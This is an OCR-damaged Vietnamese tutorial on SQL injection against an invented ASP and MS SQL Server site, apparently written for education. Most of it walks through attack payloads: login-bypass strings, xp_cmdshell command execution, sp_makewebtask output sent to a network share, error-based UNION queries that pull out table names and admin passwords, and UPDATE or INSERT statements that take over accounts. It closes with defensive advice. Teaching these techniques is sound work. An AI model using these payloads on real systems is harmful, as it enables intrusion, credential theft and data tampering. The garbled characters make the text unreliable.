Tim hiéu vé SQL Injection va cach phong chéng

SQL Injection khong con la khai niém qua mai, nhu’ng no van la mot trong
nhitng kiéu tdn cong mang kha pho bién. Bai viét nay gom 12 muc, di tir khéi
niém, cac budc dién ra SQL Injection v&i mot vi dy minh hoa (trang web duoc
dung lam vi du chi la minh hoa, khong c6 thyc) dén cach phong chdng tin cong
SQL Injection déban doc hiéu vé cach thirc tn cong ndy, tir 46 c6 nhimg bién
phap phong ngira, bao vé website va hé thong cua minh.

Luu y: Khong thir tin cong website, hé thong ctia ca nhan, to chirc khac bang
phuong phap nay, moi hanh vi nhu vay déu 1a vi pham phap luat Viét Nam. Néu
ban tim thiy 16 hong bao mat, hay bao cho nguol quan tri website, h¢ thong do dé
ho khac phuc. Bai viét chi nham muyc dich giip ban hiéu vé kiéu tdn cong va co
nhirng bién phép phong tranh cho ing dung web cua minh.

Tim hiéu vé SQL Injection

1. SQL Injection la gi?

SQL Injection 1a mdt trong nhimg kiéu hack web béng cachinject cac

ma _Q_query/command vao input trude khi chuyén cho tng dung web xir i, ban
co thé login ma khong can username va password, remote execution (thyuc th1 tur
xa), dump data va lay root ctia SQL server. Cong cu ding dé tan cong la mot trinh
duyét web bat ki, chang han nhu Internet Explorer, Netscape, Lynx, .

Bai labs SQL Injection

Ban c6 thé h1nh dung toan bd qua trinh tn cong bang SQL Injection thong qua
mot bai labs vé SQL injection don gian dudi day. Bai lab s€ duara vi dy vé mot
tmg dung c6 16 hong de st dung SQL Injection, ban chi can lam theo céc budc
trong hudng dan dé tién hanh kiéu tin cong nay.

Sau khi thl_J:c hi’én b§1i labs, ban d€1’ c6 nhitng hinh dung co ban ve SQL Injection,
nhung néu muodn hi€u rd va chi ti€t hon, ban hay doc nhitng phan tich cu thé tiép
theo nhé.

2. C4c buée tién hanh SQL Injection

2.1. Tim kiém muc tiéu

Co thé tim céc trang web cho phép submit dix liéu & bat ki mot trinh tim kiém nao
trén mang, chang han nhu cac trang login, search, feedback, ...

Vidu:
http://yoursite.com/index.asp?id=10
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Mot sd trang web chuyén tham sb qua céc field an, phai xem md HTML méi thdy
r0. Vi du nhu ¢ duoi.

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>

2.2. Kiém tra chd yéu ciia trang web
Thir submit cac field username, password hoic field id, .. bang hi' or 1=1--

Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--

Néu site chuyén tham sb qua field an, hily download source HTML, lru trén dia
cung va thay doilai URL cho phu hop. Vi du:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi" or 1=1--">
</[FORM>

Néu thanh cong, thi c6 thé login vao ma khong can phai biét username va
password

2.3. Taisao ' or 1=1-- c6 thé virgt qua phin kiém tra ding nhap?
Gia st nhu ¢6 mot trang ASP lién két dén mot ASP trang khac v6i URL nhu sau:

http://yoursite.com/index. asp”category-food

Trong URL trén, bién 'category' dugc gan gia tri 1 'food'. Ma ASP cua trang ndy
c6 thé nhu sau (day chi 14 vi du thoi):

V_cat = request(*'category")

sqlstr="SELECT * FROM product WHERE PCategory=""& v_cat & ""

set rs=conn. execute(sqlstr)

v_catsé&chira gia tri ctia bién request("category") 1a 'food' va cau 1énh SQL tiép
theo s¢ la:

SELECT * FROM product WHERE PCategory="food'

Dong query trén sé& tra vé mot tap resultset chira mot hodc nhiéu dong phu hop véi
diéu kiéen WHERE PCategory="food'

Néu thay d6i URL trén thanh http://yoursite.com/index.asp?category=food' or 1=1-
-, bién v_cat s& chtra gia tri "food' or 1=1-- " va dong Iénh SQL query s¢€ la:
SELECT * FROM product WHERE PCategory="food'or 1=1--'
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Dong query trén s& select moi thir trong bang product bat chap gia tri cta trudng
PCategory c6 bang 'food' hay khong. Hai d4u gach ngang (--) chi cho MS SQL
server biét da hét dong query, moi thir con lai sau "--" s& bi bo qua. Pbi voi
MySQL, hdy thay "--" thanh "#"

Ngoai ra, cling c6 thé thir cach khac bang cach submit ' or 'a'="a. Dong SQL query
bay gio sé la:
SELECT * FROM product WHERE PCategory="food' or'a'="a'

Mot s6 loai dir lisu khac ma ciing nén thir submit dé biét xem trang web c6 gap 16i
hay khong:

‘orl=1--
"or1=1--
orl=1--
‘or'a='a

"or"a"="a

or(a='a

2.4. Thi hanh 1¢nh tir xa bang SQL Injection

Néu cai dat voi ché d§ mac dinh ma khong c¢6 di€u chinh gi, MS SQL Server s¢€
chay & mic SYSTEM, twong duong voi mure truy cap Administrator trén
Windows. C6 thé dung store procedure Xp_cmdshell trong CSDL master ¢ thi
hanh Iénh tir xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hay thir dung ddu nhay d6i (") néu ddu nhay don (') khong lam viéc.

Dau chim phay (se két thiic dong SQL query hién tai va cho phép thi hanh mot
SQL command méi. Dé kiém tra xem 1énh trén c6 dugc thi hanh hay khong, c6 thé
listen cac ICMP packet tir 10.10.1.2 bang tcpdump nhu sau:

#tcpdump icmp

Néu nhan duoc ping request tir 10.10.1.2 nghia la 1énh da duoc thi hanh.

2.5. Nhan output ciaa SQL query
Cothé dung sp_makewebtask dé ghi cac output cia SQL query ra mot file HTML



' EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html”, "SELECT *
FROM INFORMATION_SCHEMA.TABLES"
Chuy: folder "share" phai dugc share cho Everyone trudc.

2.6. Nhan dir li€éu qua 'database using ODBC error message’

Cac thong bao 16i cia MS SQL Server thudng dua cho ban nhitng thong tin quan
trong. Lay vi du ¢ trén http://yoursite.com/index.asp?id=10, bay gi¢' ching ta thu
hop nhat nteger '10' vdi mot string khac lay tir CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME
FROM INFORMATION_SCHEMA.TABLES--

Bang INFORMATION_SCHEMA.TABLES cuah¢ thong SQL Server chira thong
tin vé tat ca cac bang (table) c6 trén server. Truong TABLE NAME chtra tén cua
mdi bang trong CSDL. Chuing ta chon né boi vi chiing ta biét rang n6 ludn ton tai.
Query cua chung ta la:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dong query ndy sé& tra vé tén ctia bang dau tién trong CSDL

Khi ching ta két hop chudi nay véi sb integer 10 qua statement UNION, MS SQL
Server s& ¢ thir chuyén mét string (nvarchar) thanh mot s integer. Diéu nay s&
gap 16i néu nhu khong chuyén dugc nvarchar sang int, server s& hién thong bao 1i
Sau.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value

‘tablel' to a column of data type int.

/index.asp, line 5

Thong bao 16i trén cho biét gia tri mudn chgyén sang integer nhung khong dugc,
"tablel". Bay cling chinh Ia tén cta bang dau tién trong CSDL ma ching ta dang
mudn co.

Dé lay tén cua tén ctia bang tiép theo, c6 thé dung query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN
(‘tablel’)--

Ciing c6 thé thir tim dit liéu bang cach khac thong qua statement LIKE cua céu
lénh SQL:
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http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE
'%25login%25'--

Khi d6 thong bao 16i cia SQL Server c6 thé la:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '‘admin_login' to a column of data type int.

/index.asp, line 5

Mau so sanh '%25login%?25" s& tuong du:ong v6i %login% trong SQL Server. Nhu
thay trong thong béo 16i trén, chiing ta c6 thé xac dinh duoc tén cia mot table quan
trong 1a "admin_login".

2.7. X&c dinh tén ciia cac column trong table

Table INFORMATION_SCHEMA.COLUMNS chura tén cta tat ca cac column
trong table. Co thé khai thac nhu sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME="admin_login'--

Khi d6 thong bao 16i ctia SQL Server ¢6 thé nhu sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id" to a column of data type int.

/index.asp, line 5 ‘ q

Nhu vay tén ciia column déau tién 1a "login_id". B¢ lay tén ctia cac column tiép
theo, c6 thé ding ménh dé logic NOT IN () nhu sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME="admin_login' WHERE COLUMN_NAME NOT IN (‘'login_id")--

Khi d6 thong bao 16i ctia SQL Server ¢6 thé nhu sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_name' to a column of data type int.
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/index.asp, line 5
Lam tuong ty nhu trén, c6 the lay duoc tén cua cac column con lai nhu

"password", "details". Khi d6 ta lay tén ctia cac column nay qua cac thdng béo 16i
cua SQL Server, nhu vi du sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME="admin_login' WHERE COLUMN_NAME NOT IN
(‘login_id','login_name','password',details")--

Khi d6 thong bao 16i ctia SQL Server ¢6 thé nhu sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must
appear in the select list if the statement contains a UNION operator.

/index.asp, line 5
2.8. Thu thap céc dir li€éu quan trong

Chung ta da xac dinh dugc cac tén cua céc table va column quan trong. Chung ta
s& thu thap cac thong tin quan trong tir cac table va column nay.

Co thé lay login_name dau tién trong table "admin_login" nhu sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM
admin_login--

Khi d6 thong bao 16i cua SQL Server c6 thé nhu sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo’ to a column of data type int.

/index.asp, line 5

D€ dang nhan ra dugc admin user dau tién c6 login name 1a "neo". Hay thir lay
password cua "neo" nhu sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where login_name='neo’--

Khi d6 thong bao 16i ctia SQL Server ¢6 thé nhu sau:



Microsoft OLE DB Provider for ODBC Drivers error '80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Va bay giv 1a da co thé login vao véi username 1a "neo” va password la "m4trix".
2.9. Nhén cac numeric string 7

C6 mot han ché nh6 doi voi phuong phap trén. Chung ta khong thé nhéan duge cac
eIror message néu server c6 thé chuyen text dung ¢ dang so (text chi chira cac ki tw
sb tir 0 dén 9). Gia str nhu password ctia "trinity" 13 "31173". Vay néu ta thi hanh
Iénh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where login_name="trinity’'--

Thi khi d6 chi nhan duoc thong bao 16 "Page Not Found". Ly do boi vi server co
thé chuyen passoword "31173" sang dang s6 trudc khi UNION voi nteger 10. bé
giai quyet van d¢ nay, chung ta c6 thé thém mot vai ki tu alphabet VAo numeric
string ndy dé 1am that bai su chuyén doi tir text sang s6 ctia server. Dong query
md&i nhu sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus’) FROM admin_login where login_name="trinity’--
Chung ta dung d4u cong (+) dé ndi thém text vao password (ASCII code ciia '+' 14
0x2b). Chung ta thém chudi '(space)morpheus' vao cudi password dé tao ra mot
string m&i khong phai numeric string 1a '31173 morpheus'. Khi ham convert() dugc
goi dé chuyén '31173 morpheus' sang integer, SQL server sé& phat 16i ODBC error
mesSage Sau.

Microsoft OLE DB Provider for ODBC Drivers error '‘80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5
Va nghia la bay gid ta ciing c6 thé login vao v&i username 'trinity’ va password la

‘31173

2.10. Thay déi dir ligu (Update/Insert) cia CSDL
Khi ¢ c6 tén ctia tat ca cac column trong table, c6 thé sir dung [énh
UPDATE hodc INSERT dé stra d6i/tao méi mot record vao table nay.

Pé thay d6i password ciia "neo", c6 thé lam nhu sau:
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http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' =
‘newpas5' WHERE login_name='neo'--

Hoac néu ban muén mot record mdi vao table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login" (‘login_id',
'login_name’, 'password’, ‘details’) VALUES (666, neo2','newpas5’,'NA')--
Va bay gio co thé login vao vdi username "neo2" va password la "newpass”

3. Ngian chan SQL Injection

Cac té),chfrc c6 thé tap trung vao nhitng budc sau diy dé bao vé minh khoi nhiing
cudc tan cong SQL Injection:

« Khong bao gio dugc tin tudng nhitng input ngudi dung nhap vao: Dt iu luon
phai duoc xac thuc trude khi sir dung trong cac cau lénh SQL.

o Céc thu tuc duoc luu trit: Nhitng thu tuc ndy cé thé triru tuong hoa cac lénh
SQL va xem xét toan bd input nhu cac tham sb. Nho d6, nd khong thé gay anh
huong dén ca phap 1énh SQL.

. Cac lénh duoc chuan bi sin: Diéu nay bao gdm viée tao truy vin SQL nhur
hanh dong dau tién va sau d6 xir Iy toan bo dit lidu duogc giri nhu nhitng tham
sO.

« Nhitng cum tir thong dung: Nhitng cum tir ndy duoc str dung dé phat hién ma
doc va loai bo no trudce khi cau Iénh SQL duogc thuc hién.

. Thong béo 16i diing: Thong bao 161 phai tuyét dditranh tiét 16 nhing thong
tin/chi tiét nhay cam va vi tri xay ra 161 trén thong b4o 16i.

« Gioi han quyén truy cép cua nguoi dung d6ivéi co s6 dir lieu: Chi nhimg tai
khoan c6 quyen truy cép theo yéu cau moi duge két ndi v6i co so dit liéu. Diéu
nay co thé gitip giam thiéu nhimg 1énh SQL dugc thuce thi tw dong trén server.

. Hay loai bo cac ki tur meta nhu "'/\; va cac ki tur extend nhu NULL, CR, LF, ...
trong cac string nhan dugc tur:

« input do nguoi dung d¢ trinh
« cac tham s tir URL
e cac gla tr1 tir cookie

. Doi voi céc gia tri numeric, hay chuyen nd sang mteger trude khi query SQL,
hogc dung ISNUMERIC dé chic chan n6 1 mot sd integer.

« Thay d6i "Startup and run SQL Server" ding murc low privilege user trong tab
SQL Server Security.

« Xoba céc stored procedure trong database master ma khong dung nhu:

« Xp_cmdshell
« Xp_startmail
« Xp_sendmail



« Sp_makewebtask
Ngan chan SQL Injection trong ASP.NET

Céc cach thirc ngin chin SQL Injection dugc trinh bay & phan 12 d bao quat du
phuong phéap, nhung trong ASP.NET c6 cach ngan chan don gian 1a str dung cac
Parameters khi lam viéc véi object SqlCommand (hodc OleDbCommand) chir
khong str dung cac cau lénh SQL tryuc tiép. Khi d6 .NET s¢€ tu dong validate kiéu
dir liu, noi dung dir liéu trudc khi thuc hién cau lénh SQL.

Ngoai ra, cling can kiém soat tot cac thong bao 16i. Va mic dinh trong ASP.NET Ia
thong bao 101 s€ khong dugc thong bao chi tiét khi khong chay trén lo calhost.



